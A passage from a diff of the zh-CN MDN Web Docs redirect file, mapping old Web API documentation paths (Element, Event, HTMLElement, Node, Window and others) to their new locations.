/zh-CN/docs/Web/API/Document/defaultView/popstate_event /zh-CN/docs/Web/API/Window/popstate_event /zh-CN/docs/Web/API/Document/defaultView/resize_event /zh-CN/docs/Web/API/Window/resize_event /zh-CN/docs/Web/API/Document/defaultView/storage_event /zh-CN/docs/Web/API/Window/storage_event /zh-CN/docs/Web/API/Document/domConfig /zh-CN/docs/Web/API/Document +/zh-CN/docs/Web/API/Document/elementFromPoint /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/elementFromPoint +/zh-CN/docs/Web/API/Document/elementsFromPoint /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/elementsFromPoint +/zh-CN/docs/Web/API/Document/getSelection /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/getSelection +/zh-CN/docs/Web/API/Document/inputEncoding /zh-CN/docs/conflicting/Web/API/Document/characterSet +/zh-CN/docs/Web/API/Document/mozFullScreen /zh-CN/docs/Web/API/Document/fullscreen +/zh-CN/docs/Web/API/Document/mozFullScreenElement /zh-CN/docs/Web/API/DocumentOrShadowRoot/fullscreenElement +/zh-CN/docs/Web/API/Document/mozFullScreenEnabled /zh-CN/docs/Web/API/Document/fullscreenEnabled /zh-CN/docs/Web/API/Document/onreadystatechange /en-US/docs/Web/API/Document/readystatechange_event +/zh-CN/docs/Web/API/Document/pointerLockElement /zh-CN/docs/Web/API/DocumentOrShadowRoot/pointerLockElement +/zh-CN/docs/Web/API/Document/rouchmove_event /zh-CN/docs/Web/API/Document/touchmove_event +/zh-CN/docs/Web/API/Document/styleSheets /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/styleSheets +/zh-CN/docs/Web/API/Document_Object_Model/Preface /zh-CN/docs/conflicting/Web/API/Document_Object_Model /zh-CN/docs/Web/API/Element.classList /zh-CN/docs/Web/API/Element/classList /zh-CN/docs/Web/API/Element.className /zh-CN/docs/Web/API/Element/className /zh-CN/docs/Web/API/Element.clientLeft /zh-CN/docs/Web/API/Element/clientLeft @@ -1308,8 +1512,8 @@ /zh-CN/docs/Web/API/Element.innerHTML /zh-CN/docs/Web/API/Element/innerHTML /zh-CN/docs/Web/API/Element.insertAdjacentHTML /zh-CN/docs/Web/API/Element/insertAdjacentHTML /zh-CN/docs/Web/API/Element.matches /zh-CN/docs/Web/API/Element/matches -/zh-CN/docs/Web/API/Element.name /zh-CN/docs/Web/API/Element/name -/zh-CN/docs/Web/API/Element.onafterscriptexecute /zh-CN/docs/Web/API/Element/onafterscriptexecute +/zh-CN/docs/Web/API/Element.name /zh-CN/docs/conflicting/Web/API +/zh-CN/docs/Web/API/Element.onafterscriptexecute /zh-CN/docs/Web/API/Document/onafterscriptexecute /zh-CN/docs/Web/API/Element.onbeforescriptexecute /zh-CN/docs/Web/API/Document/onbeforescriptexecute /zh-CN/docs/Web/API/Element.oncopy /zh-CN/docs/Web/API/HTMLElement/oncopy /zh-CN/docs/Web/API/Element.oncut /zh-CN/docs/Web/API/HTMLElement/oncut @@ -1322,22 +1526,37 @@ /zh-CN/docs/Web/API/Element.setAttribute /zh-CN/docs/Web/API/Element/setAttribute /zh-CN/docs/Web/API/Element.setCapture /zh-CN/docs/Web/API/Element/setCapture /zh-CN/docs/Web/API/Element.tagName /zh-CN/docs/Web/API/Element/tagName +/zh-CN/docs/Web/API/Element/Activate_event /zh-CN/docs/Web/API/Element/DOMActivate_event +/zh-CN/docs/Web/API/Element/accessKey /zh-CN/docs/Web/API/HTMLElement/accessKey /zh-CN/docs/Web/API/Element/addEventListener /zh-CN/docs/Web/API/EventTarget/addEventListener +/zh-CN/docs/Web/API/Element/name /zh-CN/docs/conflicting/Web/API +/zh-CN/docs/Web/API/Element/onafterscriptexecute /zh-CN/docs/Web/API/Document/onafterscriptexecute /zh-CN/docs/Web/API/Element/onbeforescriptexecute /zh-CN/docs/Web/API/Document/onbeforescriptexecute /zh-CN/docs/Web/API/Element/oncopy /zh-CN/docs/Web/API/HTMLElement/oncopy /zh-CN/docs/Web/API/Element/oncut /zh-CN/docs/Web/API/HTMLElement/oncut +/zh-CN/docs/Web/API/Element/ongotpointercapture /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/ongotpointercapture /zh-CN/docs/Web/API/Element/onpaste /zh-CN/docs/Web/API/HTMLElement/onpaste /zh-CN/docs/Web/API/Element/removeAttributre /zh-CN/docs/Web/API/Element/removeAttribute +/zh-CN/docs/Web/API/Entity /zh-CN/docs/orphaned/Web/API/Entity /zh-CN/docs/Web/API/Event/CustomEvent /zh-CN/docs/Web/API/CustomEvent -/zh-CN/docs/Web/API/Event/altKey /zh-CN/docs/Web/API/event.altKey -/zh-CN/docs/Web/API/Event/button /zh-CN/docs/Web/API/event.button -/zh-CN/docs/Web/API/Event/cancelBubble /zh-CN/docs/Web/API/UIEvent/cancelBubble +/zh-CN/docs/Web/API/Event/altKey /zh-CN/docs/conflicting/Web/API/MouseEvent/altKey +/zh-CN/docs/Web/API/Event/button /zh-CN/docs/conflicting/Web/API/MouseEvent/button +/zh-CN/docs/Web/API/Event/createEvent /zh-CN/docs/conflicting/Web/API/Document/createEvent +/zh-CN/docs/Web/API/Event/deepPath /zh-CN/docs/conflicting/Web/API/Event/composedPath /zh-CN/docs/Web/API/Event/isChar /zh-CN/docs/Web/API/UIEvent/isChar /zh-CN/docs/Web/API/Event/pageY /zh-CN/docs/Web/API/UIEvent/pageY -/zh-CN/docs/Web/API/Event/relatedTarget /zh-CN/docs/Web/API/event.relatedTarget -/zh-CN/docs/Web/API/Event/shiftKey /zh-CN/docs/Web/API/event.shiftKey +/zh-CN/docs/Web/API/Event/relatedTarget /zh-CN/docs/conflicting/Web/API/MouseEvent/relatedTarget +/zh-CN/docs/Web/API/Event/shiftKey /zh-CN/docs/conflicting/Web/API/MouseEvent/shiftKey +/zh-CN/docs/Web/API/Event/禁用时间冒泡 /zh-CN/docs/Web/API/Event/cancelBubble /zh-CN/docs/Web/API/EventTarget.dispatchEvent /zh-CN/docs/Web/API/EventTarget/dispatchEvent /zh-CN/docs/Web/API/EventTarget.removeEventListener /zh-CN/docs/Web/API/EventTarget/removeEventListener +/zh-CN/docs/Web/API/EventTarget/attachEvent /zh-CN/docs/conflicting/Web/API/EventTarget/addEventListener +/zh-CN/docs/Web/API/EventTarget/detachEvent /zh-CN/docs/conflicting/Web/API/EventTarget/removeEventListener +/zh-CN/docs/Web/API/EventTarget/fireEvent /zh-CN/docs/conflicting/Web/API/EventTarget/dispatchEvent +/zh-CN/docs/Web/API/FetchController /zh-CN/docs/Web/API/AbortController +/zh-CN/docs/Web/API/FetchController/AbortController /zh-CN/docs/Web/API/AbortController/AbortController +/zh-CN/docs/Web/API/FetchController/abort /zh-CN/docs/Web/API/AbortController/abort +/zh-CN/docs/Web/API/FetchObserver /zh-CN/docs/orphaned/Web/API/FetchObserver /zh-CN/docs/Web/API/Fetch_API/基本概念 /zh-CN/docs/Web/API/Fetch_API/Basic_concepts /zh-CN/docs/Web/API/File.fileName /zh-CN/docs/Web/API/File/fileName /zh-CN/docs/Web/API/File.fileSize /zh-CN/docs/Web/API/File/fileSize @@ -1345,6 +1564,11 @@ /zh-CN/docs/Web/API/File.getAsText /zh-CN/docs/Web/API/File/getAsText /zh-CN/docs/Web/API/File.lastModifiedDate /zh-CN/docs/Web/API/File/lastModifiedDate /zh-CN/docs/Web/API/File.name /zh-CN/docs/Web/API/File/name +/zh-CN/docs/Web/API/FileReader/中止事件(abort) /zh-CN/docs/Web/API/FileReader/abort_event +/zh-CN/docs/Web/API/FormData/删除 /zh-CN/docs/Web/API/FormData/delete +/zh-CN/docs/Web/API/Fullscreen_API/指南 /zh-CN/docs/Web/API/Fullscreen_API/Guide +/zh-CN/docs/Web/API/Geolocation/Using_geolocation /zh-CN/docs/Web/API/Geolocation_API +/zh-CN/docs/Web/API/GeolocationPosition/获取该位置时的时间戳 /zh-CN/docs/Web/API/GeolocationPosition/timestamp /zh-CN/docs/Web/API/GlobalEventHandlers.onblur /zh-CN/docs/Web/API/GlobalEventHandlers/onblur /zh-CN/docs/Web/API/GlobalEventHandlers.onchange /zh-CN/docs/Web/API/GlobalEventHandlers/onchange /zh-CN/docs/Web/API/GlobalEventHandlers.oncontextmenu /zh-CN/docs/Web/API/GlobalEventHandlers/oncontextmenu @@ -1363,34 +1587,49 @@ /zh-CN/docs/Web/API/GlobalEventHandlers.onscroll /zh-CN/docs/Web/API/GlobalEventHandlers/onscroll /zh-CN/docs/Web/API/GlobalEventHandlers.onselect /zh-CN/docs/Web/API/GlobalEventHandlers/onselect /zh-CN/docs/Web/API/GlobalEventHandlers.onsubmit /zh-CN/docs/Web/API/GlobalEventHandlers/onsubmit +/zh-CN/docs/Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/ontouchmove /zh-CN/docs/Web/API/GlobalEventHandlers/动画效果 /zh-CN/docs/Web/API/GlobalEventHandlers/onanimationend +/zh-CN/docs/Web/API/GlobalEventHandlers/时长改变 /zh-CN/docs/Web/API/GlobalEventHandlers/ondurationchange /zh-CN/docs/Web/API/GlobalFetch /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope /zh-CN/docs/Web/API/GlobalFetch/fetch /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/fetch -/zh-CN/docs/Web/API/HTMLElement.blur /zh-CN/docs/Web/API/HTMLElement/blur +/zh-CN/docs/Web/API/HTMLAnchorElement/referrer /zh-CN/docs/Web/API/HTMLAnchorElement/referrerPolicy +/zh-CN/docs/Web/API/HTMLCanvasElement/捕获流 /zh-CN/docs/Web/API/HTMLCanvasElement/captureStream +/zh-CN/docs/Web/API/HTMLElement.blur /zh-CN/docs/Web/API/HTMLOrForeignElement/blur /zh-CN/docs/Web/API/HTMLElement.click /zh-CN/docs/Web/API/HTMLElement/click /zh-CN/docs/Web/API/HTMLElement.contentEditable /zh-CN/docs/Web/API/HTMLElement/contentEditable -/zh-CN/docs/Web/API/HTMLElement.dataset /zh-CN/docs/Web/API/HTMLElement/dataset +/zh-CN/docs/Web/API/HTMLElement.dataset /zh-CN/docs/Web/API/HTMLOrForeignElement/dataset /zh-CN/docs/Web/API/HTMLElement.dir /zh-CN/docs/Web/API/HTMLElement/dir -/zh-CN/docs/Web/API/HTMLElement.focus /zh-CN/docs/Web/API/HTMLElement/focus +/zh-CN/docs/Web/API/HTMLElement.focus /zh-CN/docs/Web/API/HTMLOrForeignElement/focus /zh-CN/docs/Web/API/HTMLElement.isContentEditable /zh-CN/docs/Web/API/HTMLElement/isContentEditable /zh-CN/docs/Web/API/HTMLElement.lang /zh-CN/docs/Web/API/HTMLElement/lang /zh-CN/docs/Web/API/HTMLElement.offsetLeft /zh-CN/docs/Web/API/HTMLElement/offsetLeft /zh-CN/docs/Web/API/HTMLElement.offsetParent /zh-CN/docs/Web/API/HTMLElement/offsetParent /zh-CN/docs/Web/API/HTMLElement.offsetTop /zh-CN/docs/Web/API/HTMLElement/offsetTop /zh-CN/docs/Web/API/HTMLElement.offsetWidth /zh-CN/docs/Web/API/HTMLElement/offsetWidth -/zh-CN/docs/Web/API/HTMLElement.style /zh-CN/docs/Web/API/HTMLElement/style -/zh-CN/docs/Web/API/HTMLElement.tabIndex /zh-CN/docs/Web/API/HTMLElement/tabIndex +/zh-CN/docs/Web/API/HTMLElement.style /zh-CN/docs/Web/API/ElementCSSInlineStyle/style +/zh-CN/docs/Web/API/HTMLElement.tabIndex /zh-CN/docs/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/Web/API/HTMLElement.title /zh-CN/docs/Web/API/HTMLElement/title +/zh-CN/docs/Web/API/HTMLElement/blur /zh-CN/docs/Web/API/HTMLOrForeignElement/blur +/zh-CN/docs/Web/API/HTMLElement/dataset /zh-CN/docs/Web/API/HTMLOrForeignElement/dataset +/zh-CN/docs/Web/API/HTMLElement/focus /zh-CN/docs/Web/API/HTMLOrForeignElement/focus +/zh-CN/docs/Web/API/HTMLElement/nonce /zh-CN/docs/Web/API/HTMLOrForeignElement/nonce +/zh-CN/docs/Web/API/HTMLElement/style /zh-CN/docs/Web/API/ElementCSSInlineStyle/style +/zh-CN/docs/Web/API/HTMLElement/tabIndex /zh-CN/docs/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/Web/API/HTMLFormElement.elements /zh-CN/docs/Web/API/HTMLFormElement/elements /zh-CN/docs/Web/API/HTMLFormElement.reset /zh-CN/docs/Web/API/HTMLFormElement/reset /zh-CN/docs/Web/API/HTMLFormElement.submit /zh-CN/docs/Web/API/HTMLFormElement/submit -/zh-CN/docs/Web/API/HTMLInputElement.mozSetFileNameArray /zh-CN/docs/Web/API/HTMLInputElement/mozSetFileNameArray +/zh-CN/docs/Web/API/HTMLInputElement.mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement +/zh-CN/docs/Web/API/HTMLInputElement/mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement /zh-CN/docs/Web/API/HTMLTableElement.deleteTHead /zh-CN/docs/Web/API/HTMLTableElement/deleteTHead /zh-CN/docs/Web/API/IDBCursor.direction /zh-CN/docs/Web/API/IDBCursor/direction /zh-CN/docs/Web/API/IDBFactory.open /zh-CN/docs/Web/API/IDBFactory/open /zh-CN/docs/Web/API/IDBObjectStore.openCursor /zh-CN/docs/Web/API/IDBObjectStore/openCursor /zh-CN/docs/Web/API/IndexedDB_API/IDBObjectStore /zh-CN/docs/Web/API/IDBObjectStore +/zh-CN/docs/Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 /zh-CN/docs/Web/API/Intersection_Observer_API/Timing_element_visibility /zh-CN/docs/Web/API/Location.replace /zh-CN/docs/Web/API/Location/replace +/zh-CN/docs/Web/API/MSSelection /zh-CN/docs/orphaned/Web/API/MSSelection +/zh-CN/docs/Web/API/MediaStream.addTrack /zh-CN/docs/Web/API/MediaStream/addTrack +/zh-CN/docs/Web/API/NameList /zh-CN/docs/orphaned/Web/API/NameList /zh-CN/docs/Web/API/Navigator.battery /zh-CN/docs/Web/API/Navigator/battery /zh-CN/docs/Web/API/Navigator.buildID /zh-CN/docs/Web/API/Navigator/buildID /zh-CN/docs/Web/API/Navigator.cookieEnabled /zh-CN/docs/Web/API/Navigator/cookieEnabled @@ -1400,6 +1639,7 @@ /zh-CN/docs/Web/API/Navigator.registerContentHandler /zh-CN/docs/Web/API/Navigator/registerContentHandler /zh-CN/docs/Web/API/Navigator.vendor /zh-CN/docs/Web/API/Navigator/vendor /zh-CN/docs/Web/API/Navigator.vendorSub /zh-CN/docs/Web/API/Navigator/vendorSub +/zh-CN/docs/Web/API/NavigatorGeolocation /zh-CN/docs/conflicting/Web/API/Geolocation /zh-CN/docs/Web/API/NavigatorGeolocation.geolocation /zh-CN/docs/Web/API/Navigator/geolocation /zh-CN/docs/Web/API/NavigatorGeolocation/geolocation /zh-CN/docs/Web/API/Navigator/geolocation /zh-CN/docs/Web/API/NavigatorID.appCodeName /zh-CN/docs/Web/API/NavigatorID/appCodeName @@ -1412,10 +1652,11 @@ /zh-CN/docs/Web/API/NavigatorOnLine.onLine /zh-CN/docs/Web/API/NavigatorOnLine/onLine /zh-CN/docs/Web/API/NavigatorPlugins.javaEnabled /zh-CN/docs/Web/API/NavigatorPlugins/javaEnabled /zh-CN/docs/Web/API/NavigatorPlugins.plugins /zh-CN/docs/Web/API/NavigatorPlugins/plugins +/zh-CN/docs/Web/API/NavigatorPlugins/测试滕盖 /zh-CN/docs/orphaned/Web/API/NavigatorPlugins/测试滕盖 /zh-CN/docs/Web/API/Node.appendChild /zh-CN/docs/Web/API/Node/appendChild /zh-CN/docs/Web/API/Node.attributes /zh-CN/docs/Web/API/Element/attributes /zh-CN/docs/Web/API/Node.baseURI /zh-CN/docs/Web/API/Node/baseURI -/zh-CN/docs/Web/API/Node.baseURIObject /zh-CN/docs/Web/API/Node/baseURIObject +/zh-CN/docs/Web/API/Node.baseURIObject /zh-CN/docs/conflicting/Web/API/Node /zh-CN/docs/Web/API/Node.childNodes /zh-CN/docs/Web/API/Node/childNodes /zh-CN/docs/Web/API/Node.cloneNode /zh-CN/docs/Web/API/Node/cloneNode /zh-CN/docs/Web/API/Node.compareDocumentPosition /zh-CN/docs/Web/API/Node/compareDocumentPosition @@ -1436,7 +1677,7 @@ /zh-CN/docs/Web/API/Node.namespaceURI /zh-CN/docs/Web/API/Node/namespaceURI /zh-CN/docs/Web/API/Node.nextSibling /zh-CN/docs/Web/API/Node/nextSibling /zh-CN/docs/Web/API/Node.nodeName /zh-CN/docs/Web/API/Node/nodeName -/zh-CN/docs/Web/API/Node.nodePrincipal /zh-CN/docs/Web/API/Node/nodePrincipal +/zh-CN/docs/Web/API/Node.nodePrincipal /zh-CN/docs/conflicting/Web/API/Node_378aed5ed6869e50853edbc988cf9556 /zh-CN/docs/Web/API/Node.nodeType /zh-CN/docs/Web/API/Node/nodeType /zh-CN/docs/Web/API/Node.nodeValue /zh-CN/docs/Web/API/Node/nodeValue /zh-CN/docs/Web/API/Node.normalize /zh-CN/docs/Web/API/Node/normalize @@ -1450,19 +1691,30 @@ /zh-CN/docs/Web/API/Node.setUserData /zh-CN/docs/Web/API/Node/setUserData /zh-CN/docs/Web/API/Node.textContent /zh-CN/docs/Web/API/Node/textContent /zh-CN/docs/Web/API/Node/C /zh-CN/docs/Web/API/Node/contains +/zh-CN/docs/Web/API/Node/baseURIObject /zh-CN/docs/conflicting/Web/API/Node /zh-CN/docs/Web/API/Node/childNodes_temp /zh-CN/docs/Web/API/Node/childNodes /zh-CN/docs/Web/API/Node/hasAttributes /zh-CN/docs/Web/API/Element/hasAttributes +/zh-CN/docs/Web/API/Node/innerText /zh-CN/docs/Web/API/HTMLElement/innerText +/zh-CN/docs/Web/API/Node/nodePrincipal /zh-CN/docs/conflicting/Web/API/Node_378aed5ed6869e50853edbc988cf9556 +/zh-CN/docs/Web/API/Node/outerText /zh-CN/docs/conflicting/Web/API/HTMLElement/outerText +/zh-CN/docs/Web/API/Node/rootNode /zh-CN/docs/conflicting/Web/API/Node/getRootNode /zh-CN/docs/Web/API/NodeList.item /zh-CN/docs/Web/API/NodeList/item /zh-CN/docs/Web/API/NonDocumentTypeChildNode.nextElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode/nextElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode.previousElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode/previousElementSibling +/zh-CN/docs/Web/API/OfflineAudioContext/complete /zh-CN/docs/Web/API/OfflineAudioContext/complete_event /zh-CN/docs/Web/API/ParentNode.childElementCount /zh-CN/docs/Web/API/ParentNode/childElementCount /zh-CN/docs/Web/API/ParentNode.children /zh-CN/docs/Web/API/ParentNode/children /zh-CN/docs/Web/API/ParentNode.firstElementChild /zh-CN/docs/Web/API/ParentNode/firstElementChild /zh-CN/docs/Web/API/ParentNode.lastElementChild /zh-CN/docs/Web/API/ParentNode/lastElementChild /zh-CN/docs/Web/API/Performance.now() /zh-CN/docs/Web/API/Performance/now +/zh-CN/docs/Web/API/Performance/内存 /zh-CN/docs/Web/API/Performance/memory /zh-CN/docs/Web/API/Position /zh-CN/docs/Web/API/GeolocationPosition /zh-CN/docs/Web/API/Position/coords /zh-CN/docs/Web/API/GeolocationPosition/coords /zh-CN/docs/Web/API/PositionError /zh-CN/docs/Web/API/GeolocationPositionError +/zh-CN/docs/Web/API/Push_API/Using_the_Push_API /zh-CN/docs/conflicting/Web/API/Push_API +/zh-CN/docs/Web/API/RandomSource /zh-CN/docs/conflicting/Web/API/Crypto/getRandomValues +/zh-CN/docs/Web/API/RandomSource/getRandomValues /zh-CN/docs/Web/API/Crypto/getRandomValues +/zh-CN/docs/Web/API/Response/克隆 /zh-CN/docs/Web/API/Response/clone /zh-CN/docs/Web/API/Screen.availHeight /zh-CN/docs/Web/API/Screen/availHeight /zh-CN/docs/Web/API/Screen.availLeft /zh-CN/docs/Web/API/Screen/availLeft /zh-CN/docs/Web/API/Screen.availTop /zh-CN/docs/Web/API/Screen/availTop @@ -1471,16 +1723,23 @@ /zh-CN/docs/Web/API/Screen.height /zh-CN/docs/Web/API/Screen/height /zh-CN/docs/Web/API/Screen.pixelDepth /zh-CN/docs/Web/API/Screen/pixelDepth /zh-CN/docs/Web/API/Screen.width /zh-CN/docs/Web/API/Screen/width +/zh-CN/docs/Web/API/Screen_Capture_API/使用屏幕捕获API /zh-CN/docs/Web/API/Screen_Capture_API/Using_Screen_Capture /zh-CN/docs/Web/API/Selection.addRange /zh-CN/docs/Web/API/Selection/addRange /zh-CN/docs/Web/API/Selection.anchorNode /zh-CN/docs/Web/API/Selection/anchorNode /zh-CN/docs/Web/API/Selection.focusNode /zh-CN/docs/Web/API/Selection/focusNode /zh-CN/docs/Web/API/Selection.getRangeAt /zh-CN/docs/Web/API/Selection/getRangeAt /zh-CN/docs/Web/API/Selection.isCollapsed /zh-CN/docs/Web/API/Selection/isCollapsed /zh-CN/docs/Web/API/Selection.removeRange /zh-CN/docs/Web/API/Selection/removeRange +/zh-CN/docs/Web/API/Selection/从Document中删除 /zh-CN/docs/Web/API/Selection/deleteFromDocument +/zh-CN/docs/Web/API/Slotable /zh-CN/docs/conflicting/Web/API/Element +/zh-CN/docs/Web/API/Storage/LocalStorage /zh-CN/docs/conflicting/Web/API/Window/localStorage +/zh-CN/docs/Web/API/Streams_API/使用可读文件流 /zh-CN/docs/Web/API/Streams_API/Using_readable_streams +/zh-CN/docs/Web/API/Streams_API/概念 /zh-CN/docs/Web/API/Streams_API/Concepts /zh-CN/docs/Web/API/Text.isElementContentWhitespace /zh-CN/docs/Web/API/Text/isElementContentWhitespace /zh-CN/docs/Web/API/Text.replaceWholeText /zh-CN/docs/Web/API/Text/replaceWholeText /zh-CN/docs/Web/API/Text.splitText /zh-CN/docs/Web/API/Text/splitText /zh-CN/docs/Web/API/TextEncoder.TextEncoder /zh-CN/docs/Web/API/TextEncoder/TextEncoder +/zh-CN/docs/Web/API/TextRange/text /zh-CN/docs/orphaned/Web/API/TextRange/text /zh-CN/docs/Web/API/Touch.clientX /zh-CN/docs/Web/API/Touch/clientX /zh-CN/docs/Web/API/Touch.clientY /zh-CN/docs/Web/API/Touch/clientY /zh-CN/docs/Web/API/Touch.force /zh-CN/docs/Web/API/Touch/force @@ -1493,20 +1752,38 @@ /zh-CN/docs/Web/API/Touch.screenX /zh-CN/docs/Web/API/Touch/screenX /zh-CN/docs/Web/API/Touch.screenY /zh-CN/docs/Web/API/Touch/screenY /zh-CN/docs/Web/API/TouchEvent.changedTouches /zh-CN/docs/Web/API/TouchEvent/changedTouches +/zh-CN/docs/Web/API/UIEvent/视图 /zh-CN/docs/Web/API/UIEvent/view /zh-CN/docs/Web/API/URL.URL /zh-CN/docs/Web/API/URL/URL /zh-CN/docs/Web/API/URL.createObjectURL /zh-CN/docs/Web/API/URL/createObjectURL /zh-CN/docs/Web/API/URL.revokeObjectURL /zh-CN/docs/Web/API/URL/revokeObjectURL +/zh-CN/docs/Web/API/URL/密码 /zh-CN/docs/Web/API/URL/password +/zh-CN/docs/Web/API/URLUtils /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils +/zh-CN/docs/Web/API/URLUtils/hash /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/hash +/zh-CN/docs/Web/API/URLUtils/href /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/href +/zh-CN/docs/Web/API/URLUtils/origin /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/origin +/zh-CN/docs/Web/API/URLUtils/password /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/password +/zh-CN/docs/Web/API/URLUtils/pathname /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/pathname +/zh-CN/docs/Web/API/URLUtils/search /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/search +/zh-CN/docs/Web/API/URLUtils/toString /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/toString +/zh-CN/docs/Web/API/URLUtils/username /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/username +/zh-CN/docs/Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) /zh-CN/docs/Web/API/WebGLRenderingContext/polygonOffset /zh-CN/docs/Web/API/WebGL_API/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/API/WebGL_API/Getting_started_with_WebGL /zh-CN/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +/zh-CN/docs/Web/API/WebRTC_API/Architecture /zh-CN/docs/conflicting/Web/API/WebRTC_API/Protocols +/zh-CN/docs/Web/API/WebRTC_API/Overview /zh-CN/docs/conflicting/Web/API/WebRTC_API +/zh-CN/docs/Web/API/WebRTC_API/WebRTC_basics /zh-CN/docs/conflicting/Web/API/WebRTC_API/Signaling_and_video_calling +/zh-CN/docs/Web/API/WebSocket/二进制类型 /zh-CN/docs/Web/API/WebSocket/binaryType +/zh-CN/docs/Web/API/WebSockets_API/WebSocket_Server_Vb.NET /zh-CN/docs/orphaned/Web/API/WebSockets_API/WebSocket_Server_Vb.NET /zh-CN/docs/Web/API/WebVR_API/WebVR_concepts /zh-CN/docs/Web/API/WebVR_API/Concepts /zh-CN/docs/Web/API/Web_Audio_API/基于Web_Audio_API实现的音频可视化效果 /zh-CN/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API +/zh-CN/docs/Web/API/Web_Audio_API/最佳实践 /zh-CN/docs/Web/API/Web_Audio_API/Best_practices /zh-CN/docs/Web/API/Window.alert /zh-CN/docs/Web/API/Window/alert /zh-CN/docs/Web/API/Window.applicationCache /zh-CN/docs/Web/API/Window/applicationCache -/zh-CN/docs/Web/API/Window.atob /zh-CN/docs/Web/API/WindowBase64/atob -/zh-CN/docs/Web/API/Window.btoa /zh-CN/docs/Web/API/WindowBase64/btoa +/zh-CN/docs/Web/API/Window.atob /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/atob +/zh-CN/docs/Web/API/Window.btoa /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/btoa /zh-CN/docs/Web/API/Window.cancelAnimationFrame /zh-CN/docs/Web/API/Window/cancelAnimationFrame /zh-CN/docs/Web/API/Window.clearImmediate /zh-CN/docs/Web/API/Window/clearImmediate -/zh-CN/docs/Web/API/Window.clearInterval /zh-CN/docs/Web/API/Window/clearInterval +/zh-CN/docs/Web/API/Window.clearInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval /zh-CN/docs/Web/API/Window.close /zh-CN/docs/Web/API/Window/close /zh-CN/docs/Web/API/Window.document /zh-CN/docs/Web/API/Window/document /zh-CN/docs/Web/API/Window.find /zh-CN/docs/Web/API/Window/find @@ -1525,12 +1802,12 @@ /zh-CN/docs/Web/API/Window.mozAnimationStartTime /zh-CN/docs/Web/API/Window/mozAnimationStartTIme /zh-CN/docs/Web/API/Window.name /zh-CN/docs/Web/API/Window/name /zh-CN/docs/Web/API/Window.navigator /zh-CN/docs/Web/API/Window/navigator -/zh-CN/docs/Web/API/Window.onbeforeunload /zh-CN/docs/Web/API/Window/onbeforeunload -/zh-CN/docs/Web/API/Window.onhashchange /zh-CN/docs/Web/API/Window/onhashchange -/zh-CN/docs/Web/API/Window.onmouseup /zh-CN/docs/Web/API/Window/onmouseup -/zh-CN/docs/Web/API/Window.onpopstate /zh-CN/docs/Web/API/Window/onpopstate +/zh-CN/docs/Web/API/Window.onbeforeunload /zh-CN/docs/Web/API/WindowEventHandlers/onbeforeunload +/zh-CN/docs/Web/API/Window.onhashchange /zh-CN/docs/Web/API/WindowEventHandlers/onhashchange +/zh-CN/docs/Web/API/Window.onmouseup /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onmouseup +/zh-CN/docs/Web/API/Window.onpopstate /zh-CN/docs/Web/API/WindowEventHandlers/onpopstate /zh-CN/docs/Web/API/Window.onresize /zh-CN/docs/Web/API/GlobalEventHandlers/onresize -/zh-CN/docs/Web/API/Window.onunload /zh-CN/docs/Web/API/Window/onunload +/zh-CN/docs/Web/API/Window.onunload /zh-CN/docs/Web/API/WindowEventHandlers/onunload /zh-CN/docs/Web/API/Window.openDialog /zh-CN/docs/Web/API/Window/openDialog /zh-CN/docs/Web/API/Window.opener /zh-CN/docs/Web/API/Window/opener /zh-CN/docs/Web/API/Window.outerHeight /zh-CN/docs/Web/API/Window/outerHeight @@ -1548,15 +1825,32 @@ /zh-CN/docs/Web/API/Window.scrollY /zh-CN/docs/Web/API/Window/scrollY /zh-CN/docs/Web/API/Window.self /zh-CN/docs/Web/API/Window/self /zh-CN/docs/Web/API/Window.setImmediate /zh-CN/docs/Web/API/Window/setImmediate -/zh-CN/docs/Web/API/Window.setInterval /zh-CN/docs/Web/API/Window/setInterval +/zh-CN/docs/Web/API/Window.setInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setInterval /zh-CN/docs/Web/API/Window.showModalDialog /zh-CN/docs/Web/API/Window/showModalDialog /zh-CN/docs/Web/API/Window.top /zh-CN/docs/Web/API/Window/top -/zh-CN/docs/Web/API/Window/atob /zh-CN/docs/Web/API/WindowBase64/atob -/zh-CN/docs/Web/API/Window/btoa /zh-CN/docs/Web/API/WindowBase64/btoa +/zh-CN/docs/Web/API/Window/URL /zh-CN/docs/conflicting/Web/API/URL +/zh-CN/docs/Web/API/Window/Window.blur() /zh-CN/docs/Web/API/Window/blur +/zh-CN/docs/Web/API/Window/atob /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/atob +/zh-CN/docs/Web/API/Window/btoa 